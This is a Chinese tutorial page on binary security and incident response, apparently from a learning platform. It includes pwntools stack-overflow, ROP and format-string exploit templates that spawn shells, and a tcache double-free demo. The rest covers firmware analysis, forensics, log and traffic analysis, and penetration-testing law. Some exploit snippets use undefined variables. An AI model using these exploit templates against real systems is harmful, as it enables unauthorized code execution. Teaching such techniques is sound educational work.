前置知识: Networking

二进制安全与应急响应

00:00
5 min Advanced 2026/6/14

二进制逆向工程、栈/堆溢出利用、格式化字符串漏洞、物联网与工控安全、隐写术、应急响应流程、日志分析、内存/磁盘取证、流量分析、CTF与法律法规。

1. 二进制逆向工程

1.1 逆向分析工具

工具类型特点适用场景
IDA Pro静态分析业界标准,插件丰富全面逆向分析
Ghidra静态分析开源免费,NSA 出品学习/开源分析
radare2静态+动态命令行,脚本化自动化分析
GDB动态调试Linux 标准调试器运行时分析
x64dbg动态调试Windows 调试器Windows 逆向
Frida动态插桩跨平台,Hook 框架移动端/运行时

1.2 ELF 文件结构

┌──────────────────────┐
│     ELF Header       │  魔数: 7f 45 4c 46
│  (文件类型/架构/入口) │
├──────────────────────┤
│ Program Headers      │  段加载信息
├──────────────────────┤
│ .text (代码段)       │  可执行指令
│ .data (数据段)       │  已初始化全局变量
│ .bss  (BSS段)        │  未初始化全局变量
│ .rodata (只读数据)   │  常量/字符串
│ .plt/.got (动态链接) │  延迟绑定表
├──────────────────────┤
│ Section Headers      │  节区信息
└──────────────────────┘

1.3 GDB 常用命令

# 启动调试
gdb ./vuln_binary

# 基本命令
break main              # 设置断点
run                     # 运行程序
step / next             # 单步执行(进入/跳过函数)
continue                # 继续执行
finish                  # 执行到函数返回

# 内存检查
x/20wx $esp            # 查看栈内容(20个4字节十六进制)
x/s 0x8048000          # 查看字符串
info registers          # 查看寄存器
info functions          # 查看函数列表

# 高级功能
checksec ./vuln_binary  # 检查安全机制
  # NX/DEP: 栈不可执行
  # ASLR: 地址随机化
  # Stack Canary: 栈保护
  # PIE: 位置无关可执行
  # RELRO: 只读重定位

# Pattern 生成(确定偏移)
pattern create 200      # 生成 200 字节模式串
pattern offset 0x41366241  # 计算偏移量

2. 栈溢出漏洞利用

2.1 栈溢出原理

高地址
┌──────────────────┐
│   函数参数        │
├──────────────────┤
│   返回地址 (EIP)  │  ← 覆盖目标
├──────────────────┤
│   旧 EBP         │
├──────────────────┤
│                  │
│   局部变量 (缓冲区)│  ← 溢出起点
│                  │
└──────────────────┘
低地址

溢出方向: 局部变量 → 旧 EBP → 返回地址 → 控制执行流

2.2 基本利用过程

# pwntools 栈溢出利用
from pwn import *

# 设置目标
elf = ELF('./vuln')
p = process('./vuln')

# 确定偏移量
offset = 44  # 通过 pattern 确定

# 构造 payload
# 方法1: ret2shellcode(无 NX 保护时)
shellcode = asm(shellcraft.sh())
payload = b'A' * offset + p32(0x0804a060)  # 返回到 shellcode 地址
payload = shellcode + b'A' * (offset - len(shellcode)) + p32(buf_addr)

# 方法2: ret2libc(有 NX 保护时)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
payload = b'A' * offset + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

# 发送 payload
p.sendline(payload)
p.interactive()

2.3 ROP 链构造

# ret2syscall(使用 ROP gadgets)
from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

# 寻找 gadgets
# ROPgadget --binary ./vuln
# 0x0806f022: pop eax ; ret
# 0x080bb196: pop ebx ; ret
# 0x080492e3: int 0x80

pop_eax = 0x0806f022
pop_ebx = 0x080bb196
int_80  = 0x080492e3

# execve("/bin/sh", NULL, NULL)
payload  = b'A' * offset
payload += p32(pop_eax) + p32(0x0b)     # eax = 11 (execve)
payload += p32(pop_ebx) + p32(bin_sh)    # ebx = "/bin/sh"
payload += p32(int_80)                    # 触发系统调用

p.sendline(payload)
p.interactive()

3. 堆溢出漏洞利用

3.1 堆管理机制

glibc ptmalloc2 堆管理:

Fast Bins:   ≤ 0x80 字节(单链表 LIFO)
Small Bins:  ≤ 0x400 字节(双链表 FIFO)
Large Bins:  > 0x400 字节(按大小排序)
Unsorted Bin: 释放后先进入,分配时再分类

Chunk 结构:
┌──────────────────┐
│ prev_size        │  (前一个 chunk 大小,若空闲)
├──────────────────┤
│ size | A|M|P     │  (本 chunk 大小 + 标志位)
├──────────────────┤
│ fd (前向指针)     │  (空闲时有效)
├──────────────────┤
│ bk (后向指针)     │  (空闲时有效)
├──────────────────┤
│ 数据区            │
└──────────────────┘

3.2 常见堆利用技术

技术原理glibc 版本
Fastbin DupDouble Free 获取任意写< 2.26
Unlink伪造 chunk 实现任意地址写< 2.28
House of Force溢出修改 top chunk 大小< 2.29
Tcache PoisonTCache 双重释放< 2.32
House of Orange无 free 调用时的利用多版本
Largebin Attack大 bin 的 fd_nextsize 利用多版本

3.3 TCache Poison 示例

// 漏洞代码: double free
#include <stdlib.h>
#include <string.h>
int main() {
    char *a = malloc(0x20);
    char *b = malloc(0x20);
    free(a);
    free(a);    // Double Free! TCache 未检查
    // 现在 TCache 链表: a → a (循环)
    char *c = malloc(0x20);
    // 修改 c 的 fd 指向目标地址
    *(long*)c = 0x41414141;
    malloc(0x20);  // 返回 a
    char *d = malloc(0x20);  // 返回 0x41414141(任意地址写)
    return 0;
}

4. 格式化字符串漏洞

4.1 漏洞原理

//  危险代码
printf(user_input);       // 用户输入作为格式化字符串
sprintf(buf, user_input); // 同样危险

//  安全代码
printf("%s", user_input);

4.2 利用方式

# 信息泄露
%x %x %x %x     # 泄露栈上的值(十六进制)
%p %p %p %p     # 泄露指针值
%s              # 读取指针指向的字符串(任意读)

# 任意地址写
%10$n           # 将已输出字节数写入栈上第10个参数指向的地址
%100c%10$n      # 写入值 100
%<offset>c%<pos>$n  # 精确写入

4.3 pwntools 利用

from pwn import *

elf = ELF('./fmt_vuln')
p = process('./fmt_vuln')

# 确定偏移(格式化字符串在栈上的位置)
# 输入 AAAA|%p|%p|%p|... 找到 0x41414141

offset = 6  # 假设偏移为 6

# 任意写:修改 GOT 表项
target_addr = elf.got['printf']  # 要修改的目标地址

# 使用 fmtstr_payload 自动构造
payload = fmtstr_payload(offset, {target_addr: elf.symbols['system']})
p.sendline(payload)

5. 物联网安全

5.1 IoT 攻击面

攻击面风险工具
固件硬编码凭证、后门binwalk、Firmadyne
Web 管理界面默认密码、命令注入Burp Suite
通信协议明文传输、弱加密Wireshark
移动 AppAPI 密钥泄露、不安全存储jadx、Frida
硬件接口UART/JTAG 调试暴露逻辑分析仪

5.2 固件分析

# 提取固件
binwalk firmware.bin                    # 分析固件结构
binwalk -e firmware.bin                 # 自动提取

# 分析提取的文件系统
squashfs-root/
├── bin/          # 二进制文件
├── etc/          # 配置文件
   ├── passwd    # 用户凭证
   ├── shadow    # 密码哈希
   └── config    # 设备配置
├── web/          # Web 管理界面
└── usr/bin/      # 用户程序

# 搜索硬编码凭证
grep -r "password" squashfs-root/etc/
grep -r "admin" squashfs-root/web/
find squashfs-root -name "*.cfg" -exec cat {} \;

6. 工控系统安全

6.1 工控协议风险

协议端口安全问题
Modbus TCP502明文、无认证
S7comm102明文、无认证
DNP320000明文(可选认证)
OPC DA135DCOM 安全配置复杂
IEC 1042404明文、无认证

6.2 工控安全防护

1. 网络隔离: IT/OT 网络物理/逻辑隔离
2. 纵深防御: 防火墙 → DMZ → 工控防火墙 → PLC
3. 协议白名单: 仅允许合法工控协议和操作
4. 入侵检测: 工控专用 IDS 规则
5. 安全运维: 变更管理、补丁管理、备份恢复

7. 隐写术分析

7.1 常见隐写方式

类型方法检测工具
LSB 隐写修改最低有效zsteg、StegSolve
文件追加文件末尾追加数据binwalk、hex编辑器
元数据隐写EXIF/注释嵌入exiftool
调色板隐写修改调色板索引Stegsolve
音频隐写DCT/DWT 嵌入Audacity、SilentEye

7.2 隐写分析流程

# 1. 文件类型识别
file mystery_file
xxd mystery_file | head -20

# 2. 元数据检查
exiftool mystery_file

# 3. 隐藏数据提取
binwalk -e mystery_file           # 提取嵌入文件
zsteg mystery_file.png            # PNG LSB 隐写检测
steghide extract -sf mystery.jpg  # JPEG 隐写提取

# 4. 字符串搜索
strings mystery_file | grep -i flag
strings mystery_file | grep -i password

# 5. 对比分析(如有原始文件)
compare original.png modified.png diff.png

8. 应急响应流程

8.1 PDCERF 模型

准备(Preparation) → 发现(Discovery) → 抑制(Containment) →
根除(Eradication) → 恢复(Recovery) → 总结(Follow-up)

8.2 应急响应操作

# 1. 现场保护 — 避免破坏证据
# 不要重启系统!不要删除文件!

# 2. 证据固定
dd if=/dev/sda of=/evidence/disk_image.img bs=4M  # 磁盘镜像
md5sum /evidence/disk_image.img > image.md5        # 完整性校验

# 3. 内存采集
# Linux
dd if=/dev/mem of=/evidence/memory.dump bs=1M
# 或使用 LiME
insmod lime.ko "path=/evidence/memory.lime format=lime"

# Windows
# 使用 WinPmem 或 DumpIt

# 4. 进程分析
ps auxf                    # 查看进程树
lsof -i -P -n             # 查看网络连接
netstat -antp              # 网络连接状态
ls -la /proc/[PID]/exe     # 查看进程可执行文件
cat /proc/[PID]/cmdline    # 查看进程命令行

# 5. 持久化后门排查
crontab -l                 # 计划任务
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-unit-files --state=enabled  # 开机启动
cat ~/.bashrc ~/.bash_profile              # Shell 初始化
cat /etc/rc.local                          # 启动脚本

9. 日志分析技术

9.1 Linux 日志分析

# 登录日志
last -f /var/log/wtmp          # 成功登录
lastb -f /var/log/btmp         # 失败登录
grep "Failed password" /var/log/auth.log | awk '{print $11}' | \
  sort | uniq -c | sort -rn | head  # 暴力破解统计

# 系统日志
grep -i "error\|fail\|critical" /var/log/syslog
journalctl --since "2024-01-01" --until "2024-01-02" -p err

# Web 日志分析
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20  # IP 统计
grep "POST /login" access.log | grep " 401 "   # 登录失败
grep "SELECT\|UNION\|DROP" access.log          # SQL 注入尝试
grep "<script>\|alert(" access.log              # XSS 尝试

9.2 Windows 日志分析

# 安全日志 — 登录事件
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} |
  Select-Object TimeCreated, Message | Format-Table

# 统计登录失败 IP
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} |
  ForEach-Object { $_.Properties[5].Value } |
  Group-Object | Sort-Object Count -Descending | Select-Object -First 10

# 进程创建事件
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
  Select-Object TimeCreated, Message | Format-List

10. 取证技术

10.1 内存取证(Volatility)

# 获取系统信息
vol.py -f memory.dump windows.info

# 进程列表
vol.py -f memory.dump windows.pslist
vol.py -f memory.dump windows.pstree          # 进程树
vol.py -f memory.dump windows.psscan          # 扫描隐藏进程

# 网络连接
vol.py -f memory.dump windows.netscan

# 提取可疑进程
vol.py -f memory.dump windows.memmap --pid 1234 --dump

# 注册表分析
vol.py -f memory.dump windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# 文件提取
vol.py -f memory.dump windows.filescan | grep ".doc"
vol.py -f memory.dump windows.dumpfiles --physaddr 0x3e4a5b60

10.2 磁盘取证

# 创建取证镜像
dd if=/dev/sda of=evidence.img bs=4M conv=noerror,sync
# 或使用专业工具: FTK Imager、Guymager

# 镜像分析
mmls evidence.img                    # 查看分区表
fls -r -o 2048 evidence.img          # 查看文件系统
icat -o 2048 evidence.img 12345      # 提取文件(按 inode 号)

# 恢复删除文件
foremost -i evidence.img -o recovered/    # 按文件头恢复
photorec evidence.img                     # 交互式恢复

# 时间线分析
fls -r -m / -o 2048 evidence.img > body.txt
mactime -b body.txt > timeline.csv

11. 流量分析

11.1 Wireshark 数据包分析

常用过滤语法:
  ip.addr == 192.168.1.1           # IP 过滤
  tcp.port == 80                   # 端口过滤
  http.request.method == "POST"    # HTTP POST 请求
  dns.qry.name contains "evil"     # DNS 查询
  tcp.flags.syn == 1               # SYN 包
  frame.len > 1000                 # 大包过滤

分析技巧:
1. 统计 → 对话 → 查看 IP 通信量排名
2. 统计 → 协议分级 → 查看协议分布
3. 跟随 → TCP 流 → 查看完整会话
4. 导出 → HTTP 对象 → 提取传输文件

11.2 tcpdump 流量分析

# 抓包
tcpdump -i eth0 -w capture.pcap           # 抓取所有流量
tcpdump -i eth0 host 192.168.1.1          # 指定主机
tcpdump -i eth0 port 80                   # 指定端口
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'  # SYN 包

# 读取分析
tcpdump -r capture.pcap -nn               # 读取 pcap
tcpdump -r capture.pcap -A                # ASCII 显示
tcpdump -r capture.pcap -X                # 十六进制+ASCII

# 提取 HTTP 请求
tcpdump -r capture.pcap -A -s 0 | \
  grep -i "GET\|POST\|Host\|Cookie"

12. CTF 夺旗挑战

12.1 CTF 题目类型

类型内容推荐平台
WebSQL注入、XSS、代码审计CTFHub、BUUCTF
Pwn/溢出、ROPpwnable.kr、BUUCTF
Reverse逆向分析、算法还原Reversing.kr
Crypto密码学攻击、RSA/AESCryptoHack
Misc隐写、流量分析、取证CTFHub
MobileAndroid/iOS 逆向看雪 CTF

12.2 学习路线

入门: CTFHub 技能树 → 掌握基础题型
进阶: BUUCTF 刷题 → 积累解题经验
实战: 参加线上 CTF 比赛 → 团队协作
提升: 复现真实漏洞 CVE → 深入理解原理

13. 网络安全法律法规

13.1 中国网络安全法律体系

法律法规日期内容
网络安全法》2017-06-01网络运营者安全义务
《数据安全法》2021-09-01数据分类分级、安全审查
个人信息保护法》2021-11-01个人信息处理规则
《关键信息基础设施安全保护条例》2021-09-01关基设施保护要求

13.2 渗透测试合规要求

1. 必须获得书面授权(渗透测试授权书)
2. 明确测试范围、时间、限制条件
3. 不得超出授权范围进行测试
4. 发现重大漏洞及时报告,不得利用
5. 测试数据保密,不得泄露
6. 测试完成后清除所有测试痕迹
7. 出具正式报告,提出修复建议

知识检测

学习进度

-- 已学文档
--% 知识覆盖率

学习推荐

专注模式